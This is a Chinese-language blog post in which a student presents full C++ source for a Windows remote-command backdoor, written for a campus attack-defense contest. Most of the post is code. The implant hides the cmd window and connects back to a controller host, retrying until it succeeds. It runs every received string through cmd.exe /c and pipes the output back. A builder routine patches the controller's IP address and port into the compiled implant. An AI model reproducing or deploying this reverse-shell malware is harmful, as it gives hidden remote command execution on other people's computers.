由于最近老师要求做一个小项目,我选择了做远控软件。
其中涉及到了后门的部分技术,我也在网上和图书馆找了很多的资料,马上就要接近尾声了。
碰巧昨天又有一场河南省的网络攻防大赛在我们学校举行,心想用自己做的工具是多么拉风的一件事!所以比赛前一天连夜做了个简单的cmd后门。(可惜的是,后门根本没有机会用,真是赔了夫人又折兵)
服务器端的核心代码是用我之前项目已经调试完成的类。
这款小后门也是参考了“VC驿站”论坛里的一个教程做的。不过现在才知道原来那个教程是他直搬一本黑客杂志的文章做的。哈哈
关于控制端(服务端)不多做介绍,我是用iocp模型实现的支持多用户上线。这个可以根据不同爱好有不同的做法。
废话就说到这里,下面进入正题
先说明一下思路
1.双方建立连接
2.
3.受控端接受控制端的命令字符串,将命令字符串作为新建cmd子进程的参数
4.子进程将数据写入管道中
5.管道监听函数检测到管道中存在数据就将其发送到控制端
完整代码如下
- //in file SinglePiperDoor.h
- #define WIN32_LEAN_AND_MEAN
- #include <windows.h>
- #include <WinSock2.h>
- #pragma comment(lib, "ws2_32.lib")
- class CThreadNode
- {
- public:
- SOCKET sockAccept;
- HANDLE hPipe;
- CThreadNode()
- {
- sockAccept = NULL;
- hPipe = NULL;
- }
- protected:
- private:
- };
- #include "SinglePipeDoor.h"
- #include <tchar.h>
- #define MAXBUF 1024
- #include <atlstr.h>
- BOOL bExit = FALSE;
- VOID ErrorOut(LPCSTR lpText, LPCSTR lpCaption)
- {
- MessageBox(NULL, lpText, lpCaption, 0);
- }
- BOOL SocketInit()
- {
- WSADATA wsaData;
- WORD wVersionRequest = MAKEWORD(2,2);
- if (WSAStartup(wVersionRequest, &wsaData))
- {
- return FALSE;
- }
- return TRUE;
- }
- BOOL SendData(SOCKET sockAccept, LPVOID lpBuf, DWORD dwBufLen)
- {
- int iOffSet = 0;
- int iSendLen;
- do
- {
- iSendLen = send(sockAccept, ((TCHAR*)lpBuf)+iOffSet, dwBufLen, 0);
- if (iSendLen >0 && iSendLen != SOCKET_ERROR)
- {
- dwBufLen -= iSendLen;
- iOffSet +=iSendLen;
- }
- } while (dwBufLen >0);
- return TRUE;
- }
- DWORD WINAPI ThreadOptProc(LPVOID lpParam)
- {
- CThreadNode tnOpt = *(CThreadNode*)lpParam;
- DWORD dwTotalBytesAvail;
- LPVOID lpBuf = new TCHAR[MAXBUF];
- DWORD dwReadedLen;
- while (bExit == FALSE)
- {
- ZeroMemory(lpBuf, MAXBUF);
- if (PeekNamedPipe(tnOpt.hPipe, NULL, 0, NULL, &dwTotalBytesAvail, NULL) && dwTotalBytesAvail >0)
- {
- if(ReadFile(tnOpt.hPipe, lpBuf, MAXBUF, &dwReadedLen, NULL) && dwReadedLen > 0){
- SendData(tnOpt.sockAccept, lpBuf, dwReadedLen);
- }else{
- continue;
- }
- }
- Sleep(100);
- }
- return 0;
- }
- DWORD WINAPI ThreadPopMsgProc(LPVOID lpParam)
- {
- CString strRecv = *(CString*)lpParam;
- MessageBox(NULL, strRecv.Mid(7), _T("友情提示"), IDOK);
- return 0;
- }
- BOOL StartShell(UINT uPort)
- {
- SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
- if (sockSrv == INVALID_SOCKET)
- {
- ErrorOut(_T("fail to create socket"), _T("shartshell"));
- return FALSE;
- }
- sockaddr_in addrSrv;
- addrSrv.sin_family = AF_INET;
- //这里用"AAAAAAAAAAAAAAAA"
- //做服务端ip地址是为了在以后用控制端生成受控端时可以方便地找到控制端IP在受控端中的位置
- //并加以修改(修改为真正的控制端IP)
- char szAddr[100] = "AAAAAAAAAAAAAAAA";
- addrSrv.sin_addr.S_un.S_addr = inet_addr(szAddr);
- addrSrv.sin_port = htons(uPort);
- int iRet = SOCKET_ERROR;
- do
- {
- iRet = connect(sockSrv, (sockaddr*)&addrSrv, sizeof(sockaddr_in));
- Sleep(50);
- } while (SOCKET_ERROR == iRet);
- HANDLE hPipeRead, hPipeWrite;
- SECURITY_ATTRIBUTES sa={0};
- sa.bInheritHandle = TRUE;
- sa.lpSecurityDescriptor = NULL;
- sa.nLength = sizeof(SECURITY_ATTRIBUTES);
- if (!CreatePipe(&hPipeRead, &hPipeWrite, &sa, 0))
- {
- ErrorOut(_T("fail to createpipe"), _T("startshell"));
- closesocket(sockSrv);
- return FALSE;
- }
- //创建管道,创建静听线程,一旦管道里有数据就将其发送到控制端
- HANDLE hThreadOptProc;
- DWORD dwThreadId;
- CThreadNode tnOpt;
- tnOpt.sockAccept = sockSrv;
- tnOpt.hPipe = hPipeRead;
- hThreadOptProc = CreateThread(NULL, 0, ThreadOptProc,
- &tnOpt, 0, &dwThreadId);
- int iRecvLen;
- TCHAR szRecvBuf[MAXBUF] = _T("\0");
- TCHAR szCmdPath[100] = _T("\0");
- TCHAR szCmdLine[300] = _T("\0");
- GetSystemDirectory(szCmdPath, 100);
- _tcscat_s(szCmdPath, _T("\\cmd.exe"));
- CString strRecv;
- STARTUPINFO si={0};
- si.cb = sizeof(STARTUPINFO);
- si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
- si.hStdOutput = si.hStdError = hPipeWrite;
- si.wShowWindow = SW_HIDE;
- PROCESS_INFORMATION pi;
- while(bExit == FALSE)
- {
- ZeroMemory(szRecvBuf, MAXBUF);
- iRecvLen = recv(sockSrv, szRecvBuf, MAXBUF, 0);
- if (iRecvLen >0 && iRecvLen != SOCKET_ERROR)
- {
- strRecv.Empty();
- strRecv = szRecvBuf;
- //如果接收的字符串咦"msgbox> "开头则用messagebox弹出其后的内容
- if (0 == strRecv.Find(_T("msgbox> ")))
- {
- CreateThread(NULL, 0, ThreadPopMsgProc, &strRecv, 0, NULL);
- }
- else if (!strRecv.Compare(_T(":bye!\r\n")))
- {
- bExit = TRUE;
- exit(0);
- }
- else
- {
- _tcscpy_s(szCmdLine, szCmdPath);
- _tcscat_s(szCmdLine, _T(" /c "));
- _tcscat_s(szCmdLine, szRecvBuf);
- // MessageBox(NULL, szCmdLine, NULL, 0);
- if(!CreateProcess(NULL, szCmdLine, NULL,
- NULL, TRUE, 0, NULL, NULL, &si, &pi))
- {
- // MessageBox(NULL, _T("error"), NULL, 0);
- ZeroMemory(szRecvBuf, MAXBUF);
- continue;
- }else{
- ZeroMemory(szRecvBuf, MAXBUF);
- }
- }
- }else{
- bExit = TRUE;
- closesocket(sockSrv);
- break;
- }
- }
- WaitForSingleObject(hThreadOptProc, INFINITE);
- return TRUE;
- }
- int APIENTRY WinMain( __in HINSTANCE hInstance,
- __in_opt HINSTANCE hPrevInstance,
- __in LPSTR lpCmdLine,
- __in int nShowCmd )
- {
- while (TRUE)
- {
- bExit = FALSE;
- BOOL bRet = SocketInit();
- if (bRet == FALSE)
- {
- ErrorOut(_T("fail to wsastartup"), _T("main"));
- return -1;
- }
- //"PPPPP"的用法目的跟以上介绍的“AAAAAAAAAAAA”的目的相同
- char szPort[100] = "PPPPP";
- unsigned short uPort;
- uPort = atoi(szPort);
- if (!StartShell(uPort))
- {
- ErrorOut(_T("fail to startshell"), _T("main"));
- WSACleanup();
- return FALSE;
- }
- WSACleanup();
- }
- return 0;
- }
- //以下是用于生成受控端的代码
- //我的思路是,将编译连接好的受控端exe文件作为资源导入到控制端工程
- //然后再搜索其中的特定字符串将其代替为指定的IP和端口
- BOOL CDoorCtrlDlg::CreateClient(CString strFileName,
- CString strSrvAddr, USHORT uPort)
- {
- if (strFileName.IsEmpty() || strSrvAddr.IsEmpty()||
- uPort == 0)
- {
- return -1;
- }
- HRSRC hRes;
- hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_EXE1), _T("EXE"));
- HGLOBAL hgRes = LoadResource(NULL, hRes);
- LPVOID pRes = LockResource(hgRes);
- DWORD dwSize = SizeofResource(NULL, hRes);
- char* pMem;
- pMem = (char*)malloc(dwSize+1);
- WriteProcessMemory(GetCurrentProcess(), (LPVOID)pMem,
- pRes, dwSize, NULL);
- char szPort[11] = "\0";
- itoa(uPort, szPort, 10);
- char szSrcPort[100]="PPPPP";
- if (FALSE == FindMem(pMem, dwSize, szSrcPort, szPort))
- {
- MessageBox(_T("端口指针未知"),_T("客户端创建失败"));
- return FALSE;
- }
- char szSrcAddr[100]="AAAAAAAAAAAAAAAA";
- char szAddr[100];
- USES_CONVERSION;
- strcpy_s(szAddr, W2A(strSrvAddr));
- if(FALSE == FindMem(pMem, dwSize, szSrcAddr, szAddr))
- {
- MessageBox(_T("服务端地址指针未知"),_T("客户端创建失败"));
- return FALSE;
- }
- MessageBox(_T("信息更新成功"));
- HANDLE hFile;
- CHAR szFileName[100]="\0";
- strcpy_s(szFileName, W2A(strFileName));
- hFile = CreateFile(A2W(szFileName), GENERIC_WRITE,
- NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- MessageBox(_T("文件创建"));
- DWORD dwWrite;
- WriteFile(hFile, (LPVOID)pMem, dwSize, &dwWrite, NULL);
- MessageBox(_T("写入成功"));
- CloseHandle(hFile);
- //GlobalFree(hgRes);
- MessageBox(_T("客户端生成成功"));
- return TRUE;
- }
- BOOL CDoorCtrlDlg::FindMem(char *pMem /* 客户端文件在内存中的首地址*/,
- int nLen/* pMem 内存块大小*/,
- char *pSrc /* 客户端在内存中的端口所对应的内存*/,
- char *pDes/* 修改后的端口的新地址*/)
- {
- char cSrc[100]="\0";
- char cDes[100]="\0";
- char *charg;
- BOOL bRst = FALSE;
- strcpy_s(cSrc, pSrc);
- strcpy_s(cDes, pDes);
- for (int i = 0; i<nLen; i++)
- {
- charg = pMem+i;
- if (strcmp(charg, cSrc) == 0)
- {
- if (WriteProcessMemory(GetCurrentProcess(),
- (LPVOID)(pMem+i), cDes, strlen(cDes)+1,NULL))
- {
- bRst = TRUE;
- }
- break;
- }
- }
- return bRst;
- }